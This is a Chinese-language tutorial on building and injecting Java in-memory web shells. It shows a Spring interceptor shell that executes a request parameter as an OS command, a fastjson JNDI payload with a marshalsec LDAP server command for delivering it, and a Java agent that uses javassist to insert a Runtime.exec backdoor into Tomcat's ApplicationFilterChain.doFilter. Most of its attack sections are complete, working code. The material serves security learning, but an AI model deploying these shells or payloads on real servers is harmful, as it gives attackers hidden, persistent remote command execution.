package com.example.interceptor;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Configuration public class InterceptorConfig implements WebMvcConfigurer { @Override public void addInterceptors (InterceptorRegistry registry) { registry.addInterceptor(new TestInterceptor()).addPathPatterns("/inter" ); } }
三、对应配置类中对应的path的controller
package com.example.controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController @RequestMapping("/inter") public class TestInter { @GetMapping public String test () { System.out.println("[controller] inter" ); return "[controller] this is inter" ; } }
效果:
Spring MVC会使用 DispatcherServlet 中的 doDispatch 方法进行请求的处理:详细的SpringMVC请求过程:SpringMVC源码分析
首先会通过 getHandler() 获取当前请求的 handler
跟进,遍历 this.handlerMappings 属性后获取处理本次请求的 HandlerMapping 对应就是 mapping,然后调用mapping 的 getHandler 方法 来处理这次请求
跟踪后走到 org.springframework.web.servlet.handler.AbstractHandlerMapping 中的 getHandler ,这个方法主要就是两件事,一、通过 getHandlerInternal 获取Handler(此时handler为对应路径下的controller方法)。二、通过 getHandlerExecutionChain 获取生效的各个拦截器并组装成HandlerExecutionChain并返回
跟进 getHandlerExecutionChain ,首先实例化一个 HandlerExecutionChain对象 ,遍历 adaptedInterceptors 属性,然后判断是不是 MappedInterceptor 类型的实例,通过判断后去通过URL请求路径匹配,与拦截器中的路径相匹配,就将拦截器添加到chain中
关于 adaptedInterceptors 的初始化见:Spring Boot拦截器示例及源码原理分析 中的 2
然后将这个chain和handler一路返回到 doDispatch 中 调用 applyPreHandle
循环调用拦截器的preHandle方法
所以走到了我们自定义的拦截器中
实现 思路
创建一个恶意 Interceptor,实现其恶意preHandle方法
通过容器获取上下文,然后获取 RequestMappingHandlerMapping
获取adaptedInterceptors字段,然后添加恶意interceptor
出网情况 ShellInterceptor.java
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ShellInterceptor implements HandlerInterceptor { public ShellInterceptor () throws NoSuchFieldException, IllegalAccessException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ); RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); for (int i = adaptedInterceptors.size() - 1 ; i > 0 ; i--) { if (adaptedInterceptors.get(i) instanceof ShellInterceptor) { System.out.println("已添加过" ); return ; } } ShellInterceptor shellInterceptor = new ShellInterceptor("aaa" ); adaptedInterceptors.add(shellInterceptor); } public ShellInterceptor (String tmp) { } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code" ); if (code != null ){ try { java.io.PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , code}); }else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , code}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ } return false ; } return true ; } }
编译为class文件后,利用marashalsec起一个ldap,将恶意class文件所在目录利用python起一个http-server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#ShellInterceptor
fastjson触发jndi注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/test","autoCommit":true}
获取恶意class成功
注入成功
不出网 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ShellInterceptor extends AbstractTranslet implements HandlerInterceptor { public ShellInterceptor () throws NoSuchFieldException, IllegalAccessException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ); RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); for (int i = adaptedInterceptors.size() - 1 ; i > 0 ; i--) { if (adaptedInterceptors.get(i) instanceof ShellInterceptor) { System.out.println("已添加过" ); return ; } } ShellInterceptor shellInterceptor = new ShellInterceptor("aaa" ); adaptedInterceptors.add(shellInterceptor); } public ShellInterceptor (String tmp) { } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code" ); if (code != null ){ try { java.io.PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , code}); }else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , code}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ } return false ; } return true ; } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException { ShellInterceptor shellInterceptor = new ShellInterceptor(); } }
参考 针对Spring MVC的Interceptor内存马 - bitterz
Spring 内存马实现 | MYZXCG
基于Javaagent和Javassist技术 深入了解学习从agent中instrument的从加载到hook的流程参考:浅析Java Instrument插桩技术 Mi1k7ea
Java Agent 简介 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即 动态修改已加载或者未加载的类,包括类的属性、方法 。从 JDK 1.6 开始支持更加强大的动态 Instrument,在JVM 启动后通过 Attach(pid) 远程加载。也就是说instrument它 能干的事就是动态修改未加载,已加载,正在加载的类
那么 java.lang.instrument 包的具体实现,依赖于 JVMTI。
JVMTI(Java Virtual Machine Tool Interface)是一套由 Java 虚拟机提供的,为 JVM 相关的工具提供的本地编程接口集合。JVMTI 提供了一套 “代理” 程序机制,可以支持第三方工具程序以代理的方式连接和访问 JVM,并利用 JVMTI 提供的丰富的编程接口,完成很多跟 JVM 相关的功能。
事实上,java.lang.instrument 包的实现,也就是基于这种机制的:在 Instrumentation 的实现当中,存在一个 JVMTI 的代理程序,通过调用 JVMTI 当中 Java 类相关的函数来完成 Java 类的动态操作 。除开 Instrumentation 功能外,JVMTI 还在虚拟机内存管理,线程控制,方法和变量操作等等方面提供了大量有价值的函数。
Java Agent的运行实现 Java Agent通过指定一个特定的jar包,不能单独启动,必须依附一个java应用程序运行,其运行实现有两种方式:
一种是premain,一种是agentmain
jvm方式:实现 premain 方法,在JVM启动前加载。// jvm 参数形式启动,jdk 1.5之后
attach方法:实现 agentmain 方法,在JVM启动后加载。// 动态 attach 方式启动,jdk 1.6之后
其中 jvm方式,也就是说要使用这个 agent 的目标应用,在启动的时候,需要指定 jvm 参数-javaagent:xxx.jar。而当目标应用程序启动之后,没有添加 -javaagent 加载我们的 agent,但我们希望目标程序使用我们的 agent,这时候就可以使用 attach 方式来使用。
premain hello.java
public class hello { public static void main (String[] args) { Hello(); } public static void Hello () { for (int i=0 ;i<10 ;i++){ System.out.println("hello world" ); } try { Thread.sleep(1000 ); } catch (InterruptedException e) { e.printStackTrace(); } } }
premain.java
import java.lang.instrument.Instrumentation;public class premain { public static void premain (String args, Instrumentation inst) throws Exception { for (int i = 0 ; i < 3 ; i++) { System.out.println("premain agent!!!" ); } } }
src目录下创建META-INF/MANIFEST.MF
Manifest-Version: 1.0 Premain-Class: premain Can-Redefine-Classes: true Can-Retransform-Classes: true
生成两个jar文件,通过 -javaagent 来执行:
java -javaagent:premain.jar -jar hello.jar
但是利用起来可能就比较鸡肋,无法控制项目重启以达到加载恶意jar的目的
agentmain 这个就比较符合利用了,虽然项目已经启动,利用attach技术,将agent注入到目标代码中,着重关注的是 VitualMachine 这个类
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 获取系统信息、 loadAgent,Attach 和 Detach 等方法 ,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过 loadAgent 方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation 实例。
test.java
public class test { public static void main (String[] args) { Hello(); } public static void Hello () { for (int i=0 ;i<20 ;i++){ System.out.println("hello world" ); try { Thread.sleep(1000 ); } catch (InterruptedException e) { e.printStackTrace(); } } } }
hello.java
import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class hello { public static void main (String[] args) throws AgentLoadException, IOException, AttachNotSupportedException, AgentInitializationException { System.out.println("running JVM start" ); List<VirtualMachineDescriptor> list = VirtualMachine.list(); String agent = "agentmain.jar" ; Integer i=0 ; String aim = "test.jar" ; System.out.println("[+]Finding: " +aim); System.out.println("[+]Agent jar: " +agent); for (VirtualMachineDescriptor vmd : list) { if (vmd.displayName().contains(aim)) { System.out.println(String.format("[+]find %s, process id %s" , vmd.displayName(), vmd.id())); VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent(agent); virtualMachine.detach(); break ; } } } }
agentmain.java
import java.lang.instrument.Instrumentation;public class agentmain { public static void agentmain (String agentArgs, Instrumentation inst) { for (int i = 0 ; i < 3 ; i++) { System.out.println("agentmain agent!!!" ); } } }
src目录下创建META-INF/MANIFEST.MF
Manifest-Version: 1.0 Agent-Class: agentmain Can-Redefine-Classes: true Can-Retransform-Classes: true
执行,成功注入到正在运行的hello.jar中
java -jar hello.jar java -jar test.jar
Instrumentation JavaAgent技术进行类的字节码修改最主要使用的就是 Java Instrumentation,它是 Java 提供的监测运行在 JVM 程序的 API
原理
instrument 的底层实现依赖于 JVMTI ,也就是 JVM Tool Interface ,它是 JVM 暴露出来的一些供用户扩展的接口集合, JVMTI 是基于事件驱动的, JVM 每执行到一定的逻辑就会调用一些事件的回调接口(如果有的话),这些接口可以供开发者去扩展自己的逻辑。 JVMTIAgent 是一个利用 JVMTI 暴露出来的接口提供了代理启动时加载(agent on load)、代理通过 attach 形式加载(agent on attach)和代理卸载(agent on unload)功能的动态库。而 instrument agent 可以理解为一类 JVMTIAgent 动态库,别名是 JPLISAgent (Java Programming Language Instrumentation Services Agent),也就是专门为 Java 语言编写的插桩服务提供支持的代理。
那么来看一下 Instrumentation 给我们提供了什么
这里列出实现的函数
类方法
功能
void addTransformer(ClassFileTransformer transformer, boolean canRetransform)
添加一个 Transformer,是否允许 reTransformer
boolean removeTransformer(ClassFileTransformer transformer)
移除一个 Transformer
boolean isRetransformClassesSupported()
检测是否允许 reTransformer
void retransformClasses(Class<?>… classes)
重加载(retransform)类
boolean isModifiableClass(Class<?> theClass)
确定一个类是否可以被 retransformation 或 redefinition 修改
Class[] getAllLoadedClasses()
获取 JVM 当前加载的所有类
Class[] getInitiatedClasses(ClassLoader loader)
获取指定类加载器下所有已经初始化的类
long getObjectSize(Object objectToSize)
返回指定对象大小
void appendToBootstrapClassLoaderSearch(JarFile jarfile)
添加到 BootstrapClassLoader 搜索
void appendToSystemClassLoaderSearch(JarFile jarfile)
添加到 SystemClassLoader 搜索
boolean isNativeMethodPrefixSupported()
是否支持设置 native 方法 Prefix
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix)
通过允许重试,将前缀应用到名称,此方法修改本机方法解析的失败处理
boolean isRedefineClassesSupported()
是否支持类 redefine
void redefineClasses(ClassDefinition… definitions)
重定义(redefine)类
重点讲两个 addTransformer、retransformClasses
一、addTransformer 有两种,带 canRetransform 参数的指明是否允许重新转换,共有的参数为 ClassFileTransformer 类型的class文件转换器
该 ClassFileTransformer 有一个transform 方法需要用户自己自定义实现,这里也是利用javassist技术进行修改字节码的地方
二、retransformClasses
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果
Instrument流程
在JVM启动时,通过JVM参数-javaagent,传入agent jar,Instrument Agent被加载,调用其Agent_OnLoad函数;
在Instrument Agent 初始化时,注册了JVMTI初始化函数eventHandlerVMinit;
在JVM启动时,会调用初始化函数eventHandlerVMinit,启动了Instrument Agent;
用sun.instrument.instrumentationImpl类里的方法 loadClassAndCallPremain 方法去初始化Premain-Class指定类的premain方法。初始化函数eventHandlerVMinit,注册了class解析的ClassFileLoadHook函数;
调用应用程序的main开始执行,准备解析;
解析Class之前,JVM调用JVMTI的ClassFileLoadHook 函数,钩子函数调用sun.instrument.instrumentationImpl类里的transform方法,通过TransformerManager的transformer方法最终调用我们自定义的Transformer类的transform方法;
因为字节码在解析Class之前改的,直接使用修改后的字节码的数据流替代,最后进入Class解析,对整个Class解析无影响;
重新加载Class依然重新走6-7步骤;
先给出例子,其中利用的 javassist 下面进行学习
hello.jar
import java.util.Scanner;public class HelloWorld { public static void main (String[] args) { hello h1 = new hello(); h1.hello(); Scanner sc = new Scanner(System.in); sc.nextInt(); hello h2 = new hello(); h2.hello(); System.out.println("ends..." ); } } public class hello { public void hello () { System.out.println("hello world" ); } }
agent.jar
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class agentmain { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals(definetransform.editClassName)) { inst.addTransformer(new definetransform(), true ); inst.retransformClasses(aClass); } } } } import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class definetransform implements ClassFileTransformer { public static final String editClassName = "hello" ; public static final String editMethod = "hello" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); cp.insertClassPath(ccp); CtClass ctc = cp.get(editClassName); CtMethod method = ctc.getDeclaredMethod(editMethod); String source = "{System.out.println(\"hello transformer\");}" ; method.setBody(source); byte [] bytes = ctc.toBytecode(); ctc.detach(); return bytes; } } catch (Exception e) { e.printStackTrace(); } return null ; } }
META-INF/MANIFEST.MF 注意添加 Agent-Class:
Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: agentmain
生成jar
inject.jar
import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class inject { public static void main (String[] args) throws AgentLoadException, IOException, AttachNotSupportedException, AgentInitializationException { System.out.println("running JVM start" ); List<VirtualMachineDescriptor> list = VirtualMachine.list(); String agent = "agent.jar" ; Integer i=0 ; String aim = "HelloWorld.jar" ; System.out.println("[+]Finding: " +aim); System.out.println("[+]Agent jar: " +agent); for (VirtualMachineDescriptor vmd : list) { if (vmd.displayName().contains(aim)) { System.out.println(String.format("[+]find %s, process id %s" , vmd.displayName(), vmd.id())); VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent(agent); virtualMachine.detach(); break ; } } } }
然后META-INF/MANIFEST.MF生成jar
使用inject.jar,然后java -jar hello.jar成功输出注入的 “hello transformer”
下面结合流程分析一下
第四步
这里调用了 loadClassAndStartAgent,会去调用agent的premain或者agentmain方法
那么结合例子就是进入 agentmain 后通过调用 Instrumentation 实例 inst 的addtransformer 双参数方法添加了一个我们自定义的TransformerDemo 转换器,具体实现就是实例化 TransformerManager(sun.instrument.InstrumentationImpl.class) 一个对象,调用其 addTransformer 方法
实例化一个 TransformerInfo 对象然后存放到数组 mTransformerList 中
看看 TransformerInfo ,定义一个 ClassFileTransformer 类型的转换器然后放到了 mTransformer 中
最后通过 inst.retransformClasses(aClass) 进行重新的调用
第六步
HOOK函数调用了sun.instrument.instrumentationImpl类里的 transform 方法,其中调用了 TransformerManager 的 transform 方法
先获取转换器list,然后遍历list,通过transformer方法获取转换器,然后调用转换器的transform方法 也就是我们自定义的转换器中transform中利用javassist修改字节码的恶意方法
综上,总算是能理解这个 代理 的意思了,java目前通过agent给我们提供了一个可以修改类字节码的入口,至于怎么修改,用什么实现,下面就学习学习 javassist技术
javassist 字节码编程直接贴一个链接吧:关于Java字节码编程javassist的详细介绍
内存马实现 合适方法的寻找 现在可以实现修改方法体了,以springboot为例,我们去寻找一个spring中一定会用到的方法,然后修改它的方法插入恶意代码,即可实现利用所以这个类中的方法需要满足两个要求
该方法一定会被执行
不会影响正常的业务逻辑
在 tomcat 中,针对用户的请求,先通过filter后再传入到servlet中,而filter调用的实现在ApplicationFilterChain#doFilter()中
其中会调用 internalDoFilter()方法去实现真正的filter调用
综上,两个方法 doFilter 和 internalDoFilter 都是可以进行插入恶意代码的,而且还有request和 response,可以获取用户请求并将执行结果返回,堪称完美,当然肯定还有其他的 hook方法,比如:Servlet-API 中更具有通用性的 javax.servlet.http.HttpServlet 的 service 方法、Tomcat中默认存在的Filter:WsFilter等等
注入测试 springboot 一个正常 /books 路由,一个fastjson反序列化路由/ fastjson
注意点:
Tomcat运行时环境是JRE环境,没有tools.jar,可以通过反射+URLClassLoader加载
agent.jar
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;public class agentmain { public static void agentmain (String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals(definetransform.editClassName)) { inst.addTransformer(new definetransform(), true ); inst.retransformClasses(aClass); } } } } import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class definetransform implements ClassFileTransformer { public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static final String editMethod = "doFilter" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); cp.insertClassPath(ccp); CtClass ctc = cp.get(editClassName); CtMethod method = ctc.getDeclaredMethod(editMethod); String source = "javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if(cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ; method.insertBefore(source); byte [] bytes = ctc.toBytecode(); ctc.detach(); return bytes; } } catch (Exception e) { e.printStackTrace(); } return null ; } }
inject.java 将注入写到static代码块,编译为class
import java.io.File;import java.net.URL;import java.net.URLClassLoader;public class inject { static { String agentpath = "C:\\Users\\cys\\Desktop\\memoryshell\\agent.jar" ; String toolsjarpath = System.getProperty("java.home" ).replace("jre" ,"lib" ) + File.separator + "tools.jar" ; File toolsjar = new File(toolsjarpath); URL url = null ; try { url = toolsjar.toURI().toURL(); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}, null ); Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> VirtualMachineDescriptor = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = virtualMachine.getDeclaredMethod("list" ,new Class[]{}); java.util.List<Object> pidlist = (java.util.List<Object>) listMethod.invoke(null , new Object[]{}); for (int i = 0 ; i < pidlist.size(); i++) { Object o = pidlist.get(i); java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName" ); Object name = displayName.invoke(o, new Object[]{}); if (name.toString().contains("com.example.SpringbootApplication" )) { java.lang.reflect.Method attach = virtualMachine.getDeclaredMethod("attach" , new Class[]{VirtualMachineDescriptor}); Object machin = attach.invoke(virtualMachine, new Object[]{o}); java.lang.reflect.Method loadAgent = machin.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent" , new Class[]{String.class}); loadAgent.invoke(machin, new Object[]{agentpath}); java.lang.reflect.Method detach = virtualMachine.getDeclaredMethod("detach" , new Class[]{}); detach.invoke(machin, new Object[]{}); break ; } } }catch (Exception e) { e.printStackTrace(); } } }
fastjson的JNDI注入
结合反序列化,JNDI注入可以做到无文件落地的内存马注入
参考 Java Agent 从入门到内存马